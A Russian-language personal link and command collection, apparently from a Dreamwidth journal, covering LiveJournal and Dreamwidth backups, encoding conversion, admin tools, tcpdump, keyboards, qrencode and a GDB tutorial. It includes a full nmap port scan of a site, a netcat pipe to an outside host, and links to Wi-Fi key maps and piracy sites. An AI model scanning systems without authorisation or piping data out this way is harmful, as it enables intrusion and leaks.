безвозвратно стереть весь импорт
http://www.dreamwidth.org/tools/importer/erase

импорт из ЖЖ
https://www.dreamwidth.org/tools/importer

кросспостинг в ЖЖ
http://www.dreamwidth.org/manage/settings/?cat=othersites

управление френдами
http://www.dreamwidth.org/manage/circle/edit
https://www.dreamwidth.org/manage/banusers

настройки внешнего вида
http://www.dreamwidth.org/customize/
http://www.dreamwidth.org/customize/options
https://www.dreamwidth.org/customize/advanced/styles
https://www.dreamwidth.org/doc/s2/

поиск
https://www.dreamwidth.org/tools/search

тэги
https://uzverss.dreamwidth.org/tag/
https://www.dreamwidth.org/manage/tags.bml

посты
https://www.dreamwidth.org/editjournal

лента
https://feef.dreamwidth.org/read
https://www.dreamwidth.org/latest

статистика
https://www.dreamwidth.org/stats

сеансы
https://www.dreamwidth.org/manage/logins

сменить пароль
https://www.dreamwidth.org/changepassword
https://www.dreamwidth.org/lostinfo

настройки
https://www.dreamwidth.org/manage/settings/

изображения
https://www.dreamwidth.org/file/new

Заявить права на учетную запись OpenID
https://www.dreamwidth.org/openid/claim
https://www.dreamwidth.org/support/faqbrowse?faqid=84

Эта программа уничтожает ваши посты в ЖЖ
https://github.com/timmc/lj-expunge

Утилита архивации ЖЖ
https://hewgill.com/ljdump/
https://github.com/ghewgill/ljdump
https://github.com/timmc/ljdump
https://github.com/jwrdegoede/ljmigrate
https://github.com/ati/ljsm
https://slackbuilds.org/repository/13.37/network/ljpms/
http://ljbook.com/ - сохранение блога в pdf
https://www.blogbooker.com/

Открытые запросы
https://www.dreamwidth.org/support/help

История запросов
https://www.dreamwidth.org/support/history

разное
https://potofsoup.dreamwidth.org/5059.html
https://fictional-fans.dreamwidth.org/40141.html
https://no-detective.dreamwidth.org/582739.html
https://siderea.dreamwidth.org/1754427.html
https://ironymaiden.dreamwidth.org/1072255.html

http://judastruth.livejournal.com/159507.html
http://panzer038.livejournal.com/598575.html
http://levkonoe.dreamwidth.org/5617299.html
http://benegenetriivir.dreamwidth.org/387177.html
http://k0m4atka.livejournal.com/281277.html



заглянуть
нужное для ЖЖ
ЖЖ консоль
http://www.livejournal.com/admin/console/
редактировать теги
http://www.livejournal.com/account/settings/tags/
редактировать записи
http://www.livejournal.com/editjournal.bml?journal=
Экспорт данных вашего блога LiveJournal
https://github.com/arty-name/livejournal-export
Эта программа уничтожает ваши посты в ЖЖ
https://github.com/timmc/lj-expunge
множественное удаление записей
https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/LJ-Sec.shtml
Поиск по архивам Живого журнала
https://ljsear.ch/
Инструмент управления записями Livejournal
https://web.archive.org/web/20170926153631/http://www.mp3vcr.com/ljsec/
https://semagic.sourceforge.net/index.html
Смена пароля
https://www.livejournal.com/changepassword.bml
Конвертация старых журналов в utf8
https://www.livejournal.com/utf8convert.bml
Служба поддержки Живого Журнала
https://www.livejournal.com/support/?uselang=ru
Сервер LiveJournal Техническая информация
https://stat.livejournal.com/doc/server/index.html

Изменить редактор постов в ЖЖ
https://www.livejournal.com/settings/?cat=display
убрать галочку с позиции "ИСПОЛЬЗОВАТЬ АКТУАЛЬНЫЙ РЕДАКТОР" "USE MODERN POST EDITOR"

Утилита архивации ЖЖ
https://www.livejournal.com/export.bml
https://ljdump.livejournal.com/
http://hewgill.com/ljdump/
https://github.com/ghewgill/ljdump
https://github.com/timmc/ljdump
https://github.com/jwrdegoede/ljmigrate
https://github.com/ibukanov/ljdumpgo
https://github.com/isemaster/SaveLj
https://github.com/ilyachalov/powershell-livejournal
https://github.com/arty-name/livejournal-export
https://github.com/ati/ljsm

ljpms
https://github.com/ati/ljsm/blob/master/ljpms.pl
sudo apt-get install libxml-simple-perl
perl ljpms.pl имя_пользователя:пароль backup
perl ljpms.pl -s имя_пользователя новое_имя_пользователя:пароль restore

сохранение блога в pdf
http://ljbook.com/ - сохранение блога в pdf
http://sourceforge.net/projects/ljarchive/
https://www.blogbooker.com/

конвертор ЖЖ в wordpress
https://github.com/asapegin/livejournal-importer
https://wordpress.org/plugins/livejournal-importer/
https://wordpress.org/plugins/velvet-blues-update-urls/
https://gitlab.com/puzzlement/ljdump-to-wordpress-csv
https://wordpress.org/plugins/csv-importer/
https://gregstoll.com/ljbackup/ljtowordpress/
https://github.com/gregstoll/ljtowordpress
https://gregstoll.com/ljbackup/ljtowordpress/allPostsToWordpress.txt
https://code.google.com/archive/p/ljxp/

dreamwidth
бекап в дрим:
безвозвратно стереть весь импорт
http://www.dreamwidth.org/tools/importer/erase
импорт из ЖЖ
https://www.dreamwidth.org/tools/importer
кросспостинг в ЖЖ
http://www.dreamwidth.org/manage/settings/?cat=othersites
тэги
https://www.dreamwidth.org/manage/tags.bml

перевод журнала на русский
https://www.dreamwidth.org/customize/options?group=text

Заявить права на учетную запись OpenID
https://www.dreamwidth.org/openid/claim
https://www.dreamwidth.org/support/faqbrowse?faqid=84

бэкап
https://github.com/dreamwidth/dreamwidth/blob/main/src/jbackup/jbackup.pl

использовать Semagic на Dreamwidth
1. Перейдите по ссылке https://www.dreamwidth.org/manage/settings/?cat=mobile
2. Прокрутите до самого низа страницы («Сгенерировать ключ API»). Установите флажок.
3. Нажмите кнопку «Сохранить».
4. После перезагрузки страницы в разделе «Управление ключами API» появится новая строка. Это будет длинная строка случайных букв. Скопируйте её. Когда Semagic запросит ваш пароль, используйте его.

Затем, для настроек Semagic:
1. Сервер: www.dreamwidth.org
2. Порт: 443
3. Путь: /interface/flat
4. ☑️ SSL
5. Имя пользователя: Ваше имя пользователя
6. Пароль: ключ API, скопированный на шаге 4 выше
7. API: LiveJournal



web dev
форматирует html код
http://xtoolza.info/q/htmlconverter/
https://editorhtmlonline.com/ru/

теги html
https://doka.guide/html/
http://htmlbook.ru/
https://html5book.ru/
https://guruweba.com/html/
http://htmlka.com/
Таблица основных тегов HTML
https://cheatsheets.zip/html

все спецсимволы
https://unicode-table.com/ru/
http://www.webremeslo.ru/spravka/spravka2.html

конвертация текста
file -i text.txt
если
text.txt: application/octet-stream; charset=binary
strings text.txt > text_clean.txt
strings: Эта команда по умолчанию «вырезает» все, что не является ASCII-текстом. В некоторых версиях Linux она удаляет кириллицу

sudo apt install enca
iconv -f [исходная_кодировка] -t UTF-8 [входной_файл] -o [выходной_файл]
Поскольку ASCII полностью совместим с UTF-8, вы можете просто сменить метку файла (конвертация не изменит содержимое, так как байты те же):
iconv -f ASCII -t UTF-8 text_clean.txt -o text_final.txt
iconv -f UTF-8 -t UTF-8//IGNORE vrem.txt -o text_final.txt

head -c 10 vrem.txt | hexdump -C
Если видите cf f0 e8... — это CP1251 (Windows).
Если видите 8f e0 e8... — это CP866 (DOS).
Если видите d0 b0 d0... — это уже UTF-8, но с какими-то ошибками.

tr -d '\000' < vrem.txt > text_final.txt

более мощный детектор, чем file
uchardet text.txt

enconv -L russian -x UTF-8 text.txt
recode CP1251..UTF-8 text.txt

проверьте файл
sudo apt install moreutils
isutf8 text.txt

iconv -f CP1251 -t UTF-8//TRANSLIT input.txt -o output.txt
iconv -f CP1251 -t UTF-8//IGNORE input.txt -o output.txt
//IGNORE: просто удаляет символы, которые не удалось сконвертировать
//TRANSLIT: пытается заменить неподдерживаемый символ на максимально похожий из целевой кодировки.
python3 -c "import sys; print(open(sys.argv[1], 'rb').read().decode('cp1251', 'ignore').encode('utf-8').decode('utf-8'))" input.txt > output.txt

Конвертер кодов Unicode
https://r12a.github.io/app-conversion/

Online Преобразователь текста из формата HIP в UCS
http://orthlib.canto.ru/transl.php

URL Decoder/Encoder
http://meyerweb.com/eric/tools/dencoder/

Base64-онлайн декодировщик
http://base64.ru/
http://foxtools.ru/Base64

Json Online
http://jsonviewer.stack.hu/
https://jsoneditoronline.org/

Jinja2 live parser
http://jinja.quantprogramming.com/

YAML
https://onlineyamltools.com/edit-yaml
http://www.yamllint.com/

XML
https://www.freeformatter.com/xml-formatter.html
https://codebeautify.org/xmlviewer

обфусцировать и деобфусцировать JavaScript код
https://obfuscator.io/
https://www.cleancss.com/javascript-obfuscate/
https://mindedsecurity.github.io/jstillery/
https://lelinhtinh.github.io/de4js/
http://deobfuscatejavascript.com/

таблица названий цветов
http://www.falsefriends.ru/english-colors.htm

Таблица символов кодирования URL
http://web-developer.name/urlcode/

определить движок сайта
https://builtwith.com/
https://whatcms.org/

Насколько хорошо ваш браузер поддерживает HTML5?
http://html5test.com/

просмотр сайтов как в мобильнике
http://google.com/gwt/n?u=ubuntu.ru
https://googleweblight.com/?lite_url=http://flibusta.is

просмотр html в текстовом формате
curl https://сайт | w3m -T text/html -dump

Коды плееров ТВ каналов
http://tvplayercode.com/index.php
телек
радио

шпоры
https://overapi.com/

инструменты для разработчиков
https://tools.devstackio.com/
https://halfcoder.ru/

Репозиторий публичных API
https://github.com/public-apis/public-apis


админское
подборка инструментов
https://it-tools.tech/
https://github.com/CorentinTh/it-tools

CHMOD калькулятор
http://chmod-calculator.com/
http://wb0.ru/chmod.php
http://wwhois.ru/chmod.php
http://admin-gu.ru/chmod-calculator

IP Калькулятор
http://www.subnet-calculator.com/cidr.php
http://opennet.ru/ipcalc.shtml
http://netcalc.ru/index.php
http://www.networkcenter.info/calcs/ipcalc
http://www.ispreview.ru/ipcalc.html
Специальные диапазоны IP адресов
картинка

Практическая таблица сетевых масок
http://ts.psc.ru/CISCO/netmask.htm
ipcalc 192.168.0.0/24 /28
ipcalc 172.16.0.0/16 -s 12

порты TCP/IP
cat /etc/services
Список портов TCP и UDP
nmap -sV адрес_сайта -p 1-65535

узнать о себе
https://browserleaks.com
http://ifconfig.me/

узнать своё месторасположение и ip адрес
https://www.myip.com/
https://whatismycountry.com/

узнать свой внутренний ip
ip a |grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'

узнать свой внешний ip
curl ifconfig.co
curl eth0.me
curl 2ip.ru
curl ipinfo.io/ip
wget -O - -q icanhazip.com
https://www.myip.com/
https://ipspeed.info/
https://whatismyipaddress.com/

Проверка скорости интернета из консоли
sudo apt install speedtest-cli
speedtest-cli --secure --share

DNS
https://www.dnsleaktest.com/
https://whoer.net/ru/dns-leak-test

какие программы лезут в сеть
ss -p

TCPDUMP — шпаргалка для админа
Базовые команды
tcpdump # захват трафика на интерфейсе по умолчанию
tcpdump -i eth0 # захват с интерфейса eth0
tcpdump -n # без резолва DNS/имён хостов
tcpdump -nn # без резолва IP и портов (числа)
tcpdump -v / -vv / -vvv # уровень подробностей

Фильтрация по протоколам
tcpdump icmp # только ICMP (ping)
tcpdump tcp # только TCP
tcpdump udp # только UDP
tcpdump port 80 # трафик по порту 80
tcpdump tcp port 443 # только TCP-трафик по 443 порту

Фильтрация по IP/подсети
tcpdump host 192.168.1.10 # трафик от/до IP
tcpdump src 192.168.1.10 # только от источника
tcpdump dst 10.0.0.1 # только к получателю
tcpdump net 192.168.0.0/16 # подсеть

Комбинированные фильтры
tcpdump 'src 10.0.0.1 and dst port 22'
tcpdump 'host 8.8.8.8 and (port 53 or port 443)'
tcpdump 'tcp[tcpflags] & tcp-syn != 0' # только SYN-пакеты

Запись и анализ
tcpdump -w dump.pcap # сохранить в файл
tcpdump -r dump.pcap # прочитать из файла
tcpdump -A -r dump.pcap # показать в ASCII
tcpdump -XX -r dump.pcap # hex+ASCII вывод

Ограничения и оптимизация
tcpdump -c 100 # захватить только 100 пакетов
tcpdump -s 0 # захват полного пакета
tcpdump -i eth0 -G 60 -w file%Y%m%d%H%M%S.pcap # ротация файлов по времени

Примеры для жизни
tcpdump -i any port 22 # следим за SSH на всех интерфейсах
tcpdump -i eth0 'port not 22' # всё кроме SSH
tcpdump -i eth0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)«2)) - ((tcp[12]&0xf0)»2)) != 0)'
# только HTTP-пакеты с данными (без ACK)


Узнайте, были ли вы частью утечки данных в Интернете
https://monitor.firefox.com/

проверка в спам-листе
https://www.spamhaus.org/lookup/

проверка блокировки
https://isitblockedinrussia.com/

проверка DNS
https://www.whatsmydns.net/

проверка на вирус
https://www.virustotal.com/gui/home

ключи команд
https://ss64.com/

Шарим (в) консоль
Шарим (в) консоль
htop | nc seashells.io 1337

Горячие клавиши терминала в Linux
Полезные горячие клавиши для Bash
Управление процессами
Ctrl + C - прервать процесс (послать сигнал Interrupt). SIGINT
Ctrl + \\ - Отправляет сигнал SIGQUIT
Ctrl+ D - Закрывает bash оболочку вместе с процессами. Схожа с командой exit.
Ctrl + Z - приостановить процесс (послать сигнал Stop).
помощью команды bg его можно снова запустить, оставив при этом в фоновом режиме. Команда fg не только возобновляет ранее приостановленный процесс, но и выводит его из фона на передний план fs process_name.

Управление экраном
Ctrl + L - очистить экран. Аналог команде clear.
Ctrl + S: Останавливает весь вывод на экране. Это полезно когда необходимо временно остановить запущенный процесс.
Ctrl + Q: Продолжает работу и отображение вывода после ее остановки.

Перемещение курсора
Ctrl + A - переместить курсор в начало строки.
Ctrl + E - переместить курсор в конец строки (E - End).
Alt + F - переместить курсор на одно слово вперед (F - Forward).
Alt + B - переместить курсор на одно слово назад (B - Back).
Ctrl + F - переместить курсор на один символ вперед (F - Forward).
Ctrl + B - переместить курсор на один символ назад (B - Back).
Ctrl + XX: При повторном исполнении команды, курсор будет двигаться между началом линии и текущей позиции курсора.

Редактирование текста
Ctrl + D - удалить символ под курсором (D - Delete).
Alt + T - поменять местами два слова. Слово под курсором меняется со словом слева от курсора (T - Translocate)
Ctrl + T - поменять местами два символа. Символ под курсором меняется с символом слева от курсора (T - Translocate).
Alt + L - перевести символы в нижний регистр, начиная с символа под курсором и до конца слова (L - Lowercase).
Alt + U - перевести символы в верхний регистр, начиная с символа под курсором и до конца слова (U - Uppercase).
Alt + C: После курсора первый символ слова переводится в верхний регистр.

Вырезание и вставка текста
Ctrl + K - вырезать текст от курсора до конца строки (K - Kill).
Ctrl + U - вырезать текст от курсора до начала строки.
Alt + D - вырезать слово от курсора до его конца (D - Delete).
Alt + Backspace - вырезать слово от курсора до его начала. Если курсор находится на начале слова, то удаляется предыдущее слово.
Ctrl + W - Делает вырезку слова перед курсором и добавляет его в буфер.
Ctrl + Y - вставить вырезанный текст из буфера обмена на место курсора.

Дополнение команды
Tab - дополнить текст команды. (ls essa => ls essay.txt)
Alt + ? - вывести все варианты дополнения (тоже если нажать Tab дважды).
Alt + * - вставить все варианты дополнения в аргументы команды.

Поиск команд в истории
Ctrl + R - начать поиск команд в истории. Нажмите еще раз чтобы двигаться вверх по истории. Нажмите Enter чтобы выполнить найденную команду.
Ctrl + G - прекратить поиск команд в истории. Выход из режима.
Ctrl + J - вставить найденную команду в терминал, без выполнения.
Ctrl + P или Up Arrow - показать предыдущую запись в истории. Аналог клавише со стрелкой вверх. (P - uP).
Ctrl + N или Down Arrow - показать следующую запись в истории. Аналог клавише со стрелкой вниз. (N - dowN).
Alt + < - перейти к первой записи в истории.
Alt + > - перейти к последней записи в истории.
Alt + N - поиск в прямом порядке (ввести команду и нажать Enter).
Alt + P - поиск в обратном порядке (ввести команду и нажать Enter).
Ctrl + O - выполнить команду из истории и перейти к выполнению следующей по списку. Работает только в поиске Ctrl + R.

Режим
По умолчанию bash использует комбинации в стиле редактора emacs. Можно переключать в режим редактора vi
$ set -o vi # vi mode
$ set -o emacs # default mode


OSINT
https://github.com/cipher387/osint_stuff_tool_collection

переводчик
онлайн переводчик
https://www.onlinedoctranslator.com/
https://libretranslate.de/?source=en&target=ru&

Транслит онлайн
http://translit-online.ru/
http://web-boss.info/service/yandex-translit-online

Произношение английских слов онлайн
http://www.lovelylanguage.ru/pronunciation/words
https://translate.google.ru/?hl=ru


Офис
офис в браузере
https://github.com/zserge/awfice
https://zen.unit.ms/
простой редактор в хроме вбить в адресную строку:
data:text/html, <html contenteditable>

Paint в браузере
http://jspaint.ml/
https://www.pixlr.com/editor/
https://www.photopea.com/

редактор уравнений ЛаТеХ
http://ru.numberempire.com/texequationeditor/equationeditor.php
http://tex.s2cms.ru/
https://www.wolframalpha.com/
https://www.codecogs.com/latex/eqneditor.php
https://www.latex4technics.com/

редактор pdf
https://potatameister.github.io/PaperKnife/
https://github.com/potatameister/PaperKnife


клава
Виртуальная клавиатура онлайн
https://virtual-keyboard.ru/

клавиатурный тренажёр
https://stamina-online.com/ru/
https://typerun.top/
https://romanpro.ru/typing-tutor/
https://www.typingstudy.com/ru/
https://keypresso.ru/


Видео Аудио Игры
Winamp в браузере
https://webamp.org/
https://jordaneldredge.com/projects/winamp2-js/
https://github.com/captbaritone/winamp2-js
https://skins.webamp.org/
https://archive.org/details/winampskins

звукозапись
https://musiclab.chromeexperiments.com/Song-Maker/

побренькать музыку
https://www.apronus.com/music/onlineguitar.htm

игрухи в браузере
https://www.myabandonware.com/


разместить код и записи
https://pastebin.com/
https://gist.github.com/
http://mathbin.net/
https://codeshare.io/
http://telegra.ph/

простой и безопасный сервис обмена зашифрованными файлами
https://send.firefox.com/

поделится файлами
https://ipfs.io/

архивы интернета
https://web.archive.org/
https://archive.is/

https://neal.fun/internet-artifacts/

alternative-front-ends
https://github.com/mendel5/alternative-front-ends

альтернативные поисковики
https://searx.space/
https://github.com/jarun/googler
https://www.eyedex.org/

найти книги
https://libgen.is/
https://libgen.rs/
https://freeread.org/

поиск по торрентам
https://rutracker.org/
https://nnmclub.to/
https://rutor.org/
http://tragtorr.in/
https://torlook.in/
https://searchtor.to/
https://btdig.com/
https://bt4gprx.com/
https://search.exfreedomist.com/
https://gitlab.com/christosangel/corsaro

время UNIX
https://time.is/ru/Unix
date +%s

время
date +"%Y%m%d%H%M"

Разница во времени
https://timescanner.pro/compare
https://dayspedia.com/converter

линукс в браузере
https://www.onworks.net/ru/
https://distrotest.net/
https://bellard.org/jslinux/
https://copy.sh/v86/
https://atrosinenko.github.io/qemujs-demo/
https://www.os-js.org/
http://minimal.idzona.com/emulator/
https://rkeene.dev/js-repl/?arg=bash
https://unix.bpowers.net/
https://puter.com/
https://dustinbrett.com/
https://webvm.io/

музыка, радио
https://radio.garden/
https://worldradiomap.com/map/
https://www.radio-browser.info/
https://www.classicalarchives.com/
https://web.ligaudio.ru/
https://zaycev.net/
https://box.hitplayer.ru/
https://ruf.muzikavsem.org/
https://mynostalgia.ru/

погода
https://openweathermap.org/
https://www.wunderground.com/
https://www.ventusky.com/
https://www.windy.com/
https://news.climate.columbia.edu/wp-content/themes/sotp-foundation/dataviz/heat-humidity-map/
curl wttr.in/St_Petersburg_Russia

камеры
https://osirisai.live/
https://github.com/simplifaisoul/osiris

куда летят самолёты
https://www.flightradar24.com/
https://globe.adsbexchange.com/

куда плывут корабли
https://www.marinetraffic.com/

стоимость жизни
https://www.numbeo.com/cost-of-living/

карта Wi-Fi
https://3wifi.dev/map.html

Подборка полезных сервисов
Полезные сервисы в интернете
плагины для хрома
подборка для android

клава

Jun. 17th, 2023 08:45 pm



раскрыть тему
https://key-test.ru/
https://qmk.fm/converter/
https://github.com/qmk/qmk_firmware
https://github.com/qmk/qmk_firmware/tree/master/keyboards
https://docs.qmk.fm/#/keycodes
https://get.vial.today/
https://msys.qmk.fm/
https://zmk.dev/
https://github.com/zmkfirmware/zmk
https://remap-keys.app/
https://github.com/komar007/gh60
https://kmkfw.zulipchat.com/
https://github.com/KMKfw/kmk_firmware
https://github.com/picoruby/prk_firmware
https://github.com/kmonad/kmonad
https://github.com/dbostian/banana
https://github.com/Keychron/Keychron-Keyboards-Hardware-Design
https://www.reddit.com/r/MechanicalKeyboards/

Терминология
Переключатели в игровых клавиатурах: всё что нужно знать о мембранных, механических и других свитчах
Типы клавиатур: мембранные, ножничные, механические.
Ножничная клавиатура – что это: виды и механизм работы
Плунжерная клавиатура для ПК — что это такое: описание и механизм работы
Полумеханическая клавиатура: что это такое и принцип ее работы
Механическая клавиатура: какие свитчи выбрать?
HOT SWAP системы
Таблица совместимости HOT-SWAP и свитчей
Совместимость переключателей
Вибро и шумоизоляция механических клавиатур
Какую механическую клавиатуру выбрать?
Механическая Клава. Выбираем клавиатуру, компоненты и моды
Что такое QMK?
VIA – Большой русскоязычный гайд
https://www.caniusevia.com/docs/supported_keyboards

Сборка 90% механической клавиатуры XD96
Выбираем и собираем 60% клавиатуру
Как я собрал кастомную клавиатуру
Создание своей эргономичной клавиатуры (часть 1: создание раскладки)
Создание своей эргономичной клавиатуры (часть 2: определяемся с железом)
Создание своей эргономичной клавиатуры, часть 3: оживляем её
Создание своей эргономичной клавиатуры, ч4: делаем корпус (пришло время бутербродов)
Собрал себе кастомную механическую клавиатуру
Собираем кастомную механическую клавиатуру, часть 1: Теория
Собираем кастомную механическую клавиатуру, часть 2: Практика⁠⁠
Собираем кастомную механическую клавиатуру, часть 3: Прошивка⁠⁠

РАСКЛАДКИ клавиатур
ФОРМАТЫ механических клавиатур
Сборка КАСТОМА с НУЛЯ? Гайд для НОВИЧКОВ
Как собрать механическую клавиатуру?
Гайд по СМАЗКЕ и ДОРАБОТКЕ свичей
ВСЯ правда о КЕЙКАПАХ!
Домашний обзор



https://deskthority.net/wiki/Physical_keyboard_layout
https://deskthority.net/wiki/Return_key#Downwards_L-shaped
https://www.reddit.com/r/MechanicalKeyboards/wiki/keycap_guides/#wiki_iso_versus_ansi_versus_non-standard_enter_keys
По формату клавиатуры делятся на ansi (американская раскладка) и iso (европейская раскладка)
Программируемые клавиатуры позволяют перепрограммировать раскладку клавиатуры целиком
L образный Enter - Европейская стандарная, ISO (не американская ANSII)
TKL – Без нампада (75%)

комплект для сборки клавиатуры:
1) Корпус (Case) - не метал, т.к. блютуз
2) Плата (PCB) - лучше Hot-Swap, Hot-Swap это система быстрой замены свитчей на PCB без участия припоя, поддержка hot-swap это смена свичей, свичи не припаяны, а съёмные, 3/5 pin, RGB подсветка для каждой клавиши, TKL 75%
3) Плейт (Plate) - (пластины платы позиционирования клавиатуры), латунь или аллюминий, плейты лучше с фиксированной раскладкой, должна совпадать с платой
4) Стабилизаторы (Stabilizers) под длинные клавиши, лучше Screw-in - на винтах, проще собирать и разбирать
5) Переключатели (Switches), свичи совместимы с Cherry MX, например Mechanical Gateron Cap Teal (50 миллионов нажатий)
Outemu - самое дешевое что есть на рынке, не совместимы с Cherry MX по посадочным гнездам на плате (по кейкапам они полностью совместимы)
6) Кейкапы (Keycaps) - Профиль кейкапов: Cherry, двойное литьё (прозрачные буквы)
7) Набор инструментов для чистки и смазки клавиатуры

Подсветка: RGB. Настраиваемая.
RGB подсветка, софт для настройки профилей, профили должны сохраняться
если белый свет подсветки выглядит фиолетовым, то скорее всего, большая хроматическая дисперсия у прозрачного пластика

защита от влаги
Кабель: Отсоединяемый
самодельный комплект механической клавиатуры RGB 75% с горячей заменой GK75


подсветка RGB
Machenike K500
https://www.youtube.com/watch?v=GbCRQzj7dFU

QCYBER DOMINATOR
https://www.youtube.com/watch?v=xgcSYBBzFMM

Motospeed CK104
https://www.youtube.com/watch?v=eJ66NiBcQmc

fusion
Слева от правого Ctrl - кнопка переключения режима подсветки (клавиша-лампочка)
Fn + клавиша-лампочка - меняет цвет
Fn + ↑ - усилить подсветку
Fn + ↓ - ослабить подсветку
клавиша-лампочка - разные режимы


ознакомиться
Как создать QR-коды в командной строке Linux

sudo apt install qrencode

текст
qrencode -s 6 -l H -o "text.png" "Этот тип QR содержит обычный текст."

цвет
qrencode -s 6 -l H --foreground="3599FE" --background="FFFFFF" -o "blue.png" "Этот QR-код будет бело-голубым."

местоположение
qrencode -s 6 -l H -o "geo.png" "geo:12.459444,99.978611"

телефон
qrencode -s 6 -l H -o "phone.png" "tel: 5555555555"

электронное письмо
qrencode -s 6 -l H -o "email.png" "mailto:proghoster@gmail.com?subject=Linux&body=Статьи по линуксу классные!"

веб-сайт
qrencode -s 6 -l H -o "URL.png" "https://zalinux.ru"

SMS или MMS
qrencode -s 6 -l H -o "SMS.png" "smsto:5555555555,Это текст SMS-сообщения."

подключиться к Wi-Fi
qrencode -s 6 -l H -o "wifi.png" "WIFI:T:WPA;S:СЕТЬ;P:ПАРОЛЬ;;"

добавление контакта
qrencode -s 6 -l H -o "contact.png" < contact.txt

события в календарь
qrencode -s 6 -l H -o "event.png" < event.txt

пояснение по параметрам
-s 6: устанавливает размер блоков в клетчатом шаблоне QR. Предоставляемое вами число задаёт размер в пикселях длины одной стороны блока.
-l H: устанавливает уровень исправления ошибок. Мы можем использовать следующие варианты: «L» для низкого, «M» для среднего, «Q» для довольно высокого и «H» для высокого или максимального. Различные уровни исправления ошибок могут справиться с разным объёмом повреждений или нечёткостью при сканировании QR-кода. «Низкий» позволяет успешно сканировать код, если до семи процентов кода скрыто или повреждено. «Средний» увеличивает этот показатель до 15 процентов. «Достаточно высокий» может справиться с повреждением до 25 процентов кода. «Высокий» уровень может справиться с колоссальными 30 процентами повреждений или неразборчивости при сканировании QR-кода. Чем больше исправлений ошибок вы используете, тем больше будет общий QR-код. Это связано с тем, что ему необходимо хранить избыточную информацию, что означает, что в шаблоне больше блоков.
-o "text.png": параметр вывода позволяет указать имя сгенерированного изображения. По умолчанию это изображение Portable Network Graphics (PNG). Если вы используете параметр -t (тип), вы можете изменить вывод на различные форматы, включая инкапсулированный постскрипт (EPS), масштабируемую векторную графику (SVG) и множество различных вариантов вывода на основе символов Американского национального института стандартов (ANSI).
Текст для кодирования предоставляется последним и заключён в кавычки.

Т: Тип безопасности. Это может быть WEP, WPA или WPA2. Обратите внимание, что между буквой «T» и значением безопасности стоит двоеточие, а также точка с запятой «;» после настройки безопасности.
S: идентификатор набора услуг (SSID) сети Wi-Fi, проще говоря, имя Wi-Fi сети. Обратите внимание, что между «S» и SSID стоит двоеточие, а также точка с запятой «;» После SSID.
P: пароль или ключ безопасности сети Wi-Fi. Обратите внимание, что между буквой «P» и ключом безопасности стоит двоеточие, а также две точки с запятой «;» после пароля для входа в Wi-Fi сеть.


приложения
Госуслуги СТОП Коронавирус
https://play.google.com/store/apps/details?id=com.minsvyaz.gosuslugi.stopcorona&hl=ru&gl=US

Сканер QR-кода и Сканер штрих-кода
https://play.google.com/store/apps/details?id=com.camvision.qrcode.barcode.reader


ссылки по теме
Почему введение проверки QR-кодов не имеет смысла в общественном транспорте и торговых центрах?
Реверс-инжиниринг QR-кода для доказательства вакцинации
https://github.com/MikkelPaulson/smart-health-card-parser

заглянуть

В этом коротком туториале мы рассмотрим базовые приёмы работы с GDB, а также посмотрим как можно (и нужно) подготавливать файлы к отладке для GDB.

GDB — переносимый отладчик проекта GNU, который работает на многих UNIX-подобных системах и умеет производить отладку многих языков программирования, включая Си, C++, Free Pascal, FreeBASIC, Ada, Фортран, Python3, Swift, NASM и Rust.



GDB



Почему именно GDB? Всё легко, он уже установлен на многих UNIX-подобных системах, лёгок в использовании и поддерживает много языков. Работа с ним оказывается очень лёгкой, а также его можно подключить к VSCode и другим редакторам кода (Включая Vim, NeoVim (ясное дело), Emacs, Atom и далее)



Подготовка файлов



Для примера мы возьмём файлы .cpp и будем проходиться по ним вдоль и поперёк.

Для того чтобы нам пройтись по такому файлу нам нужно скомпилировать его с помощью G++ с использованием флага -g (это действительно важно, без этого флага, программа не будет корректно работать в GDB)



g++ -g file_name.cpp -o output_name
gdb output_name


Python-файл вы можете продебажить с помощью этой команды:



gdb -ex r --args python program_name.py <arguments>


Для Java вы просто можете использовать jdb, который уже идёт в комплекте c JDK.



Также, если вам не хочется компилировать всё ручками, вы можете просто использовать сайт OnlineGDB, там просто нужно вставить код и нажать debug, а затем внизу откроется консоль, где вы сможете писать команды



Использование GDB



Как только мы зашли в GDB нам выводится следующее сообщение:



GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from 3_Hero's_Inventory.cpp...done.


Последняя строка говорит о том, нормально ли запустился файл

Теперь нужно посмотреть, где в нашем файле точка вхождения (строка, откуда наша программа начинает свою работу), в случае cpp это метод main(). Находим эту строку c помощью команды list и вписываем, какая она идёт по счёту с буквой b (также можно просто указать имя функции b main тоже работает):



(gdb) list
1   #include <iostream>
2   #include <string>
3   
4   using namespace std;
5   
6   int main(int argc, char *argv[])
7   {
8       // Hero's Inventory - скрипт, где мы имитируем инвентарь игрока
9   
10      const int MAX_ITEMS = 10; // Задаём константу, максимум по инвентарю игрока


(gdb) b 6
Breakpoint 1 at 0xcb5: file ./3_Hero's_Inventory.cpp, line 6.


Далее запускаем программу с помощью комманды r:



(gdb) r
Starting program: /home/username77177/gitprojects/learning/cpp/build_folder/3_Hero's_Inventory.cpp 

Breakpoint 1, main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:7
7   {


Для того, чтобы посмотреть на какой мы сейчас строке, нужно написать f:



(gdb) f
#0  main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:14
14      items[itemnum++] = "Sword";


Для того, чтобы сделать шаг, нужно нажать n (от слова next):



(gdb) n
10      const int MAX_ITEMS = 10; // Задаём константу, максимум по инвентарю игрока


Как мы видим GDB сразу пропускает пустые строки (или строки с комментариями) и переходит к следующей строке.

Предположим, что у нас есть функция, при нажатии n наш отладчик быстро пройдет функцию, не заходя в неё, чтобы зайти в функцию нужно сделать "шаг внутрь" (step-in) или просто клавиша s:



(gdb) s
11      string items[MAX_ITEMS]; // Создаём массив из строк c 10 элементами


